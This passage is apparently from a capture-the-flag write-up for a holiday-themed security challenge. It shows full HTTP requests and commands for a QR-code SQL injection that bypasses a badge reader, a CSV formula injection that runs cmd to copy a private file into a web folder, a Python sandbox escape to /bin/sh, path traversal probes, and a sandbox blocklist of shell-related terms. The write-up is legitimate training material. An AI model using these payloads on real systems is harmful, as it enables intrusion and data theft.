M      WMN      NMK   MMMN      M   W      MMM    NM       WMWK     M
MW              MMN   MMMMMNMMMMM   MMMMWNMMMMW   WMM             KWM
MMN       MM    MMMMMMMMMMMMMNK       KWMMMMMMMMMMMMM   KMM      KWMM
M        KMM    MMMMMMMMMMMM             MMMMMMMMMMMM   KMM    K    M
MWWMMM   KMM    MMMMMMMMMMMM    M   W   NMMMMMMMMMMMM   KMM    MMMWMM
MMMMMMNKKMMM    MMMMMMMMMMMMMMMN    KWMMMMMMMMMMMMMMM   KMMWKKWMMMMMM
MMMMMMMMMMMM    MMMMMMMMMMMWK            MMMMMMMMMMMM   WMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMM                    NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM        MMM   MMW       WMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW  KWMMWK        WMMN  KMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM             MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM    M   WK  NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?

Congratulations!

To solve this challenge, we can also be a bit fancy, and use a Python script to parse the XML file:

#!/usr/bin/env python3

import sys
from bs4 import BeautifulSoup
import datetime

def main():
    if len(sys.argv) != 2:
        print('Usage: {} <xml_event_file>'.format(sys.argv[0]))
        sys.exit(1)

    # This set will hold every user without a FailureReason attribute
    user_set_with_no_failure = set()

    # The date of the spray attack was determined manually, by looking at the
    # date of the attack against aaron.smith
    spray_attack_beginning = datetime.datetime.strptime('2018-09-10 13:03:33', '%Y-%m-%d %H:%M:%S')

    # We open and parse the file
    with open(sys.argv[1], 'r') as f:
        soup = BeautifulSoup(f.read(), 'lxml')

    for evt in soup.events.find_all('event'):
        # We check the date of every event.
        # If it's before the attack, we don't look at it
        event_time = evt.system.timecreated.get('systemtime').split('.')[0]
        event_time = datetime.datetime.strptime(event_time, '%Y-%m-%d %H:%M:%S')
        if event_time < spray_attack_beginning:
            continue
        else:
            evt_data = evt.eventdata
            # If there's no failure reason, we add our user to our result set.
            if not evt_data.find_all(attrs={'name': 'FailureReason'}):
                for user in evt_data.find_all(attrs={'name': 'TargetUserName'}):
                    user_set_with_no_failure.add(user.string.replace('@EM.KRINGLECON.COM', ''))

    # We print our result set
    print('\n'.join(user_set_with_no_failure))

if __name__ == '__main__':
    main()

$ ./parse_xml.py ./ho-ho-no.xml
HealthMailboxbe58608
HealthMailboxbe58608d4925422d8e4ea458cfedc612
SYSTEM
WIN-KCON-EXCH16$
HealthMailboxbab78a6
wunorse.openslae
minty.candycane

Along with some users we don't care about, the script gives us minty.candycane and wunorse.openslae. With some manual analysis of the XML file, we can determine that the right user is minty.candycane.

Bypassing the door authentication mechanism

The "haXXor" way

We want to open the door next to Pepper Minstix, but we need a badge to do so. The door needs to scan a QR code. It can do so by using your webcam (you then need to click on the fingerprint reader), or you can upload a QR code image using the USB dongle. Luckily for us, Alabaster Snowball lost his badge, and we managed to get our hands on it:

If we try to scan this badge, we're told that the user was disabled. Probably because the badge was lost.

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://scanomatic.kringlecastle.com/index.html
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------5162445520959346741824970383
Content-Length: 153774
Connection: close
Cookie: resource_id=false

-----------------------------5162445520959346741824970383
Content-Disposition: form-data; name="barcode"; filename="alabaster_badge.png"
Content-Type: image/png

PNG [snip, content of the PNG file]
-----------------------------5162445520959346741824970383

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 12:57:34 GMT
Content-Type: application/json
Content-Length: 70
Connection: close

{"data":"Authorized User Account Has Been Disabled!","request":false}

So, we need to create our own badge. If we scan Alabaster's badge with a QR code reader, we get oRfjg5uGHmbduj2m.

And this is where I lost sooooo much time. For the purpose of completeness, let's see all of my dead ends, yay! If you just want the solution, feel free to jump directly to it.

All the dead ends, yay!

The QR-encoded message looks like a base64-encoded string. Let's decode it:

$ echo -n oRfjg5uGHmbduj2m | base64 -d | hexdump -C
00000000  a1 17 e3 83 9b 86 1e 66  dd ba 3d a6              |.......f..=.|
0000000c

This gives us a 12 byte identifier, 0xa117e3839b861e66ddba3da6. My first idea was that, since we have to bypass authentication, let's try a SQL injection in this id. However, I thought that, since the id seemed to be base64-encoded, I'd have to base64-encode my payload. Let's generate a QR code with our SQL injection payload. I'm using the qrtools Python library:

>>> import qrtools
>>> import base64
>>> qr = qrtools.QR()
>>> qr.data = base64.b64encode('foo"\'#;-- ')
>>> qr.encode('sqli_detection.png')

I'm first trying a simple payload, which just tries to break the SQL syntax.

However, it did not work:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://scanomatic.kringlecastle.com/index.html
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------49127043815591531222123518543
Content-Length: 580
Connection: close
Cookie: resource_id=false

-----------------------------49127043815591531222123518543
Content-Disposition: form-data; name="barcode"; filename="sqli_detection.png"
Content-Type: image/png

PNG [snip]
-----------------------------49127043815591531222123518543

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 13:09:43 GMT
Content-Type: application/json
Content-Length: 61
Connection: close

{"data":"No Authorized User Account Found!","request":false}

Hmm, it did not work. Our payload should have broken the SQL syntax. Instead, we got a message saying that the provided user id does not exists. I then thought that maybe we had to find a valid, active user id. I decided to try bruteforcing the id close to Alabaster's id, to find an active, existing user:

>>> for i in xrange(1000):
...     for j in xrange(2):
...             user_id = 0xa117e3839b861e66ddba3da6 + i*(-1)**j
...             qr.data = base64.b64encode(format(user_id, '02X').decode('hex'))
...             qr.encode('id_bruteforce/{}.png'.format(user_id))
...

Bam! 2000 QR codes. Let's use curl to upload them all:

$ cd id_bruteforce
$ ls -1 | while read f; do echo $f; curl -b 'resource_id=false' -F "barcode=@$f" https://scanomatic.kringlecastle.com/upload > ./results/$f.txt& done

I'll spare you the suspense, it did not work. I always got the same message, No Authorized User Account Found!. I also noticed that the id seemed to be case insensitive. For example, Alabaster's id, sent as oRfjg5uGHmbduj2m or oRfjg5uGHmbduj2M gave the same message, Authorized User Account Has Been Disabled!. I then tried bruteforcing the base64 message itself. I mean, a 16 character string, with only lower case letters and numbers (I decided to ignore symbols) is still 83 bits of entropy, but I was desperate. Needless to say, it did not work.

I then decided to attack the webserver directly by sending malformed images:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://scanomatic.kringlecastle.com/index.html
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------49127043815591531222123518543
Content-Length: 219
Connection: close
Cookie: resource_id=false

-----------------------------49127043815591531222123518543
Content-Disposition: form-data; name="barcode"; filename="empty.png"
Content-Type: image/png

-----------------------------49127043815591531222123518543--

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 13:31:50 GMT
Content-Type: application/json
Content-Length: 124
Connection: close

{"data":"EXCEPTION AT (LINE 151 \"qr.decode(full_path)\"): cannot identify image file 'uploads/empty.png'","request":false}

Finally! An error message with a partial path disclosure. I then thought that it might be an upload vulnerability with a race condition, that I had to upload a file and access it via https://scanomatic.kringlecastle.com/uploads/my_evil_file before it's deleted, but this was another dead-end.

The right solution

I almost gave up and checked the clue given by Pepper Minstix, but I first decided to try one last thing: send a random string that I would QR-encode:

>>> import string
>>> import random
>>> random_payload = ''.join(random.choice(string.printable) for x in xrange(2000))
>>> qr.data = random_payload
>>> qr.encode('qr_random.png')

Here's the image that saved me:

I uploaded it, and fot the following error message:

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 13:37:14 GMT
Content-Type: application/json
Content-Length: 433
Connection: close

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'G7M]aa-!EcgKBlTx0&<50Y&\\rV'CEB@ZbfO2Z~HkVC5=lH6>!bSl^L~9(}Lh;T^-PXCShXg{ik3H%_ A\\x0c' at line 1\")","request":false}

Hurray! A SQL error message, which gives us the full syntax. So there was indeed a SQL injection, however I shouldn't have base64-encoded it. So here's the request:

SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '<id_goes_here>' LIMIT 1

Seems like your basic SQL injection, let's generate a paylaod that will select the first enabled user:

>>> qr.data = "foo' OR 1=1 AND enabled='1"
>>> qr.encode('qr_sqli.png')

With this payload, the SQL request will become:

SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'foo' OR 1=1 AND enabled='1' LIMIT 1

This should return the first enabled user that is authorized to open the door. Let's scan our evil QR code:

POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://scanomatic.kringlecastle.com/index.html
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------242929957373414110176704857
Content-Length: 560
Connection: close
Cookie: resource_id=false

-----------------------------242929957373414110176704857
Content-Disposition: form-data; name="barcode"; filename="qr_sqli.png"
Content-Type: image/png

PNG [snip]
-----------------------------242929957373414110176704857

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Thu, 03 Jan 2019 13:42:19 GMT
Content-Type: application/json
Content-Length: 179
Connection: close

{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}

We get the control number, which is 19880715.

The "John McClane" way

If you remember, we found schematics for the ventilation conducts in the North Pole Git Repository. And it just so happens that next to Google's booth, there is a ventilation conduct:

If you go inside, you can navigate the maze that is the ventilation conduct.

But we have a map! We can follow the schematics we found earlier. This allows us to bypass the authentication door:

HR Incident Response

Hans reveals his true plan:

Hans says

So, you’ve figured out my plan – it’s not about freeing those prisoners.

The toy soldiers and I are here to steal the contents of Santa’s vault!

You think that after all my posturing, all my little speeches, that I’m nothing but a common thief.

But, I tell you -- I am an exceptional thief.

And since I've moved up to kidnapping all of you, you should be more polite!

Sparkle Redberry's Cranberry Pi Challenge

Sparkle Redberry committed her password to the local git repository. We have to recover the password:

                                   .0.
                               .:llOXKllc.
                                 .OXXXK,
                                 '0l'cOc
                                 ..';'..
                               .';::::::'.
                            .':::::::::::::,.
                         .'::loc::::::::::::::,.
                      .'::::oMMNc::::::::::::::::,.
                    .,;;,,,,:dxl:::::::,,,:::;,,,,,,.
                    .,'  ..;:::::::::::;,;::::,.
                      .';::::::::::::::::::::dOxc,.
                   .';:::::::::okd::::::::::cXMWd:::,.
                .';:::::::::::cNMMo:::::::::::lc:::::::,.
             .'::::::::::::::::col::::::::::::;:::::::::::,.
                   .;:::,,,:::::::::::::::::;,,,:::::'.
                .'::::::;;;:::::::::::dko:::::;::::::::;.
             .,::::::::::::::::::::::lWMWc::::::::::::::::;.
            ..:00:...;::::loc:::::::::coc::::::::::::'.;;.....
              :NNl.,:::::xMMX:::::::::::::::::::::::::;,,.
               .,::::::::cxxl::::,,,:::::::::::::::::::::;.
            .,:::::::c:::::::::::;;;:::::::;;:::::kNXd::::::;.
         .,::::::::cKMNo::::::::::::::::::;,,;::::xKKo:::::::::;.
       .'''''',:::::x0Oc:::::::::oOOo:::::::::::::::::::::;'''''''.
            .,:::::::::::::::::::kWWk::::::::::::::ldl:::::;'.
         .,::;,,::::::::::::::::::::::::::::::::::lMMMl:::::::;'.
      .,:::::;,;:::::::::::::::::::::::::::::::::::ldl::::::::::::'.
   .,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'.
                               ..;;;;;;;;'.
                             .';;;;;;;;;;;;'.
                          .';;;;;;;;;;;;;;;;;;'.
                         ........................



Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.

Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."

Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!

Find Sparkle's password, then run the runtoanswer tool.
elf@fa3b5d8290f0:~$

Let's see the git repository and check the commit history:

elf@76d904959962:~$ ls -lh
total 5.7M
drwxr-xr-x 1 elf elf 4.0K Nov 14 09:48 kcconfmgmt
-rwxr-xr-x 1 elf elf 5.7M Dec 14 16:13 runtoanswer
elf@76d904959962:~$ cd kcconfmgmt/
elf@76d904959962:~/kcconfmgmt$ git log | grep -i -C 5 password

commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Sat Nov 10 19:51:52 2018 -0500

    Add user model for authentication, bcrypt password storage

commit c27135005753f6dde3511a7e70eb27f92f67393f
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Sat Nov 10 08:11:40 2018 -0500

--

commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500

    Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use

commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 13:25:32 2018 -0500

Apparently, in commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b, Sparkle removed her password from the config.js file, which was replaced by a default config.js.def. Let's see where this file is:

elf@76d904959962:~/kcconfmgmt$ find . -name config.js.def
./server/config/config.js.def

Now that we know where it is, we can guess where the original config.js file was. Let's check it's modification history:

elf@eba657fc7961:~/kcconfmgmt$ git log -p -- ./server/config/config.js
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date:   Thu Nov 8 21:11:03 2018 -0500
    Per @tcoalbox admonishment, removed username/password from config.js, default settings in c
onfig.js.def need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
-    'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
[snip]

We find our commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b, which deletes the file, and gives us the content of the original config.js file. Sparkle's password is twinkletwinkletwinkle:

elf@fa3b5d8290f0:~$ ./runtoanswer
Loading, please wait......



Enter Sparkle Redberry's password: twinkletwinkletwinkle


This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.

Congratulations!

Elf InfoSec Careers Website

We're asked to take a look at the Elf InfoSec Careers website. It's a website where you can upload your application, and if your profile is interesting enough, you can join Santa's elves! The goal is to get the content of the C:\candidate_evaluation.docx file.

Let's fill an application. You must provide your full name, phone number, email address, and a CSV file with your work history:

POST /api/upload/application HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://careers.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1284099169763381272238033
Content-Length: 683
Connection: close

-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="firstname"

Foo
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="lastname"

Bar
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="phone"

0000000000
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="email"

foo@bar.com
-----------------------------1284099169763381272238033
Content-Disposition: form-data; name="csv"; filename="resume.csv"
Content-Type: text/csv

Super pentester

-----------------------------1284099169763381272238033--

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:18:04 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"172-gwRZ+l3Bn2+yGvHpphldazlOPqI"
Content-Length: 370

Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx

I first thought that we'd have to perform an upload vulnerability, where we could upload a webshell and gain remote code execution on the server. I tried looking for an upload directory, for example in /uploads/:

GET /uploads/ HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Thu, 03 Jan 2019 16:23:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Express
Cache-Control: public, max-age=0
Last-Modified: Fri, 07 Dec 2018 01:34:04 GMT
ETag: W/"f48-167864ce0e2"
Content-Length: 3912

<html>
[snip]
  <!--physical server path--->
   <p>Publicly accessible file served from: <br>
     C:\careerportal\resources\public\    not found......<p>
     <br>
   <!---logical web path-->
     <strong><p>Try: <br> https://careers.kringlecastle.com/public/'file name you are looking for'</p></strong>


</body>
</html>

Hmm, what a helpful 404 error message. It gives us the full path to the public web folder, and the URL. This means, that if we can get the C:\candidate_evaluation.docx in this directory, we'll be able to download it. But how can we do so with only what we have in the application form?

The work history file that we upload is a CSV file. And apparently, this server is a Windows server, given the file paths, and all. This means that the CSV file will probably be opened by an elf using Excel. In that case, we can use a CSV injection to execute code on the elf's workstation. This is a vulnerability we sometimes find during pentest assessments. However, it's pretty low risk, because it's kind of clunky to exploit: the user has to download the CSV, try to evaluate the cell with our payload, and click "Yes" on a warning prompt. It's still worth a try, though:

$ cat copy_file_to_www.csv
=cmd|' /c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\omg_secret_file.docx'!A0

This payload will copy the wanted file in the public web folder, under the name omg_secret_file.docx. Let's upload it:

POST /api/upload/application HTTP/1.1
Host: careers.kringlecastle.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://careers.kringlecastle.com/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------12548806719497856202051334912
Content-Length: 803
Connection: close

-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="firstname"

Foo
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="lastname"

Bar
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="phone"

0000000000
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="email"

foo@bar.com
-----------------------------12548806719497856202051334912
Content-Disposition: form-data; name="csv"; filename="copy_file_to_www.csv"
Content-Type: text/csv

=cmd|' /c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\omg_secret_file.docx'!A0

-----------------------------12548806719497856202051334912--

We wait a couple seconds, and then bingo! We can download the file from the URL https://careers.kringlecastle.com/public/omg_secret_file.docx. You can download this file here.

Now, we were asked to find which terrorist organization is supported by the job applicant whose name begins with "K". Let's open up the document:

Here's what we can learn on this applicant:

Candidate Name: Krampus

Comments (Please summarize your perceptions of the candidate’s strengths, and any concerns that should be considered:

Krampus’s career summary included experience hardening decade old attack vectors, and lacked updated skills to meet the challenges of attacks against our beloved Holidays.

Furthermore, there is intelligence from the North Pole this elf is linked to cyber terrorist organization Fancy Beaver who openly provides technical support to the villains that attacked our Holidays last year.

We owe it to Santa to find, recruit, and put forward trusted candidates with the right skills and ethical character to meet the challenges that threaten our joyous season.

So, apparently the candidate name is Krampus, and he's linked to the terrorist organization Fancy Beaver.

Network Traffic Forensics

We find Hans in Santa's secret room:

Hans says

You’ve found me and blocked my access to Santa’s treasure.

You’ve done well in foiling me. But, I’ve still got a chance.

When you steal six hundred dollars, you can disappear. When you steal all of Santa’s treasure, they will find you… unless….

(muffled yelling)

The narrator says

And then suddenly, Hans slips and falls into a snowbank. His nefarious plan thwarted, he's now just cold and wet.

But Santa still has more questions for you to solve!

Santa says

HO HO HO!!!

You did a great job, but keep going!

Solve all remaining objectives in your badge.

SugarPlum Mary's Cranberry Pi Challenge

We're trapped inside a Python interpreter, and we must escape and run a program:

               :lllllllllllllllllllllllllllllllllllllllll,
               'lllllllllllllllllllllllllllllllllllllllll:
                clllllllllllllllllllllllllllllllllllllllll.
                'lllllllllllllllllllllllllllllllllllllllll:
                 ;lllllllllllllllllllllllllllllllllllllllll,
                  :lllllllllllllllllllllllllllllllllllllllll.
                   :lllllllllllllllllllllllllllllllllllllllll.
                    ;lllllllllllllllllllllllllllllllllllllllll'
                     'lllllllllllllllllllllllllllllllllllllllll;
                      .cllllllllllllllllllllllllllllllllllllllllc.
                      .:llllllllllllllllllllllllllllllllllllllllllc,.
                   .:llllllllllllllllllllllllllllllllllllllllllllllll;.
                .,cllllllllllllllllllllllllllllllllllllllllllllllllllll,
              .;llllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
             ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
           'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
          :lllllll:..,..'cllllllllllllllllllllllc'.,'.'clllllllllllllllllll;
        .clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.
       .cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'
       clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,
      :llllllllllll;'..':llllllllllllllllllllllll:'..':lllllllllllllllllllll'
     .llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
     ;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
     clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
     cllllllllllllllllllllllllll..;lc..:llllllllllllllllllllllllllllllllll;
     :lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:
     ,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:
     .llllllllllllllllllllllllllc;lll::llllllllllllllllllllllllllllllll,
      'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
       ,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,
        'llllllllllllllllcccccccc;',.,clllllllllllllllllllllllllll,
         .cllllllc:::::;;,,,,'...':c:;...'',,;;;::::::lllllllllc,
           'cllllc::;::::cccccccccllc,,,,,,,'',:::::::lllllll;.
             .:llllllllllkMMMMMMMMMdlclllllllllollllllllll;.
               .':lllllllXMMMMMMMMMoloWMMMMMMMMXllllll:,.
                   .,:llccccccccccllllXMMMMMMMMWl:;'.
                       .,,,,,,,,,,clll:::::::::;
                      'lllllllllc.    ',,,,,,,,.
                     lMMMMMMMMMW,    .ddddddddd.
                    kMMMMMMMMMX.     kMMMMMMMMK
                   ':::::::::,      .NWWWWWWWW:
                  ',,,,,,,,,.       .,,,,,,,,'
                .oooooooooo.        ',,,,,,,,.
               .NMMMMMMMMW;        cOOOOOOOOx
               0MMMMMMMMMc         NMMMMMMMMk
               ;;;;;;;;;'         .KKKKKKKKK:
              .,,,,,,,,,           ,,,,,,,,,.
              .ddddddddo           ',,,,,,,,.
               XMMMMMMMN           cKKKKKKKKK.
    .;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....
      .,:ccccccccccccccc            'cccccccccc:::ccccc;.
         .:ccccccccccccc            .ccccccccccccccc:'.
           .;;;;;;;;;;;;            .ccccccccccccc;.
                                    ..............


I'm another elf in trouble,
Caught within this Python bubble.
Here I clench my merry elf fist -
Words get filtered by a black list!
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
-SugarPlum Mary
To complete this challenge, escape Python
and run ./i_escaped
>>>

I first tried to import the os module, but it was forbidden:

>>> import os
Use of the command import is prohibited for this question.

Other functions and objects like that are unavailable, such as __builtins__, or exec. However, eval is available:

>>> eval
<built-in function eval>

Since eval takes a string as an argument, and evaluates it as Python code, I thought I could bypass the restriction on import:

>>> eval('import os')
Use of the command import is prohibited for this question.

Hmm, does not work. What if I try some string modification?

>>> eval('impor' + 't os')
  File "<string>", line 1
    import os
         ^
SyntaxError: invalid syntax

We get a syntax error. However, it does not seem like the jail tries to block our import. So, what are some other ways you can import in Python, without calling import? By searching for write-ups of Python jail escapes, I found this website where the jail blocks __import__. Let's see if our jail does also:

>>> eval('__impo' + 'rt__')
<built-in function __import__>

Alright! It's not blocked. We can use __import__ to import the os module, and the call system, in order to gain a shell access:

>>> eval('__imp'+'ort__("os").system("/bin/sh")')
$ ls
i_escaped
$ ./i_escaped
Loading, please wait......

  ____        _   _
 |  _ \ _   _| |_| |__   ___  _ __
 | |_) | | | | __| '_ \ / _ \| '_ \
 |  __/| |_| | |_| | | | (_) | | | |
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary

You escaped! Congratulations!

For those of you that are curious, here's the code of the jail, which includes a solution:

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
import readline
import code

try:
    input = raw_input
except:
    pass

banner= ''' [snip] '''

def readfilter(*args,**kwargs):
    inline = input(*args,**kwargs)
    #warning: if any of your imports enable the blacklisted items you will expose the question to the test taker.
    for eachterm in whitelist:
        if inline.replace(" ","") == eachterm.replace(" ",""):
            return inline
    #warning: removing any of the following items from this list will likely expose the question.
    for eachterm in restricted_terms:
        if eachterm.replace(" ","") in inline.replace(" ",""):
            print("Use of the command {0} is prohibited for this question.".format(eachterm))
            return ""
    return inline

whitelist = []

if __name__ == "__main__":
    restricted_terms = ['import','pty', 'open','exec',"compile", "os.system", "subprocess.", "reload", "__builtins__" ,"__class__","__mro__" ]
    code.interact(banner=banner, readfunc=readfilter, local=locals())
    #eval("__im"+"port__('p'+'ty').s"+"pawn('/bin/bash')")

Packet Capture and Analysis Website

Santa has created a packet capture and analysis web site, where people can upload PCAP files to analyze them, or sniff traffic from the website for 20 seconds:

Sniffing traffic from the website is interesting, because we could then see other people's traffic. Unfortunately, the only traffic we see is HTTPS, which means that it is encrypted. If we want to decrypt it, we have to find a way to get the server's private SSL key.

Since the website offers an upload functionality, I tried uploading invalid PCAP files, in order to get code execution via a webshell. However, it did not work. I also tried some path traversing in the uploads directory, but it did not work:

$ curl 'https://packalyzer.kringlecastle.com/uploads/../../../../etc/passwd' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Not Found

I tried some directory listing, but I also got an error there:

$ curl 'https://packalyzer.kringlecastle.com/uploads/' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Error: EISDIR: illegal operation on a directory, read
$ curl 'https://packalyzer.kringlecastle.com/uploads/test' -H 'Cookie: PASESSION=287850715490745264942409679417652'
Error: ENOENT: no such file or directory, open '/opt/http2/uploads//test

Ha! We got a different error message. The error codes EISDIR and ENOENT indicates that the website is most likely based on Node.js. We also learned that our web root is in /opt/http2/. However, we're not closer to our goal. So let's keep digging, by looking at the source code of the website:

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.ui.widget.js"></script>
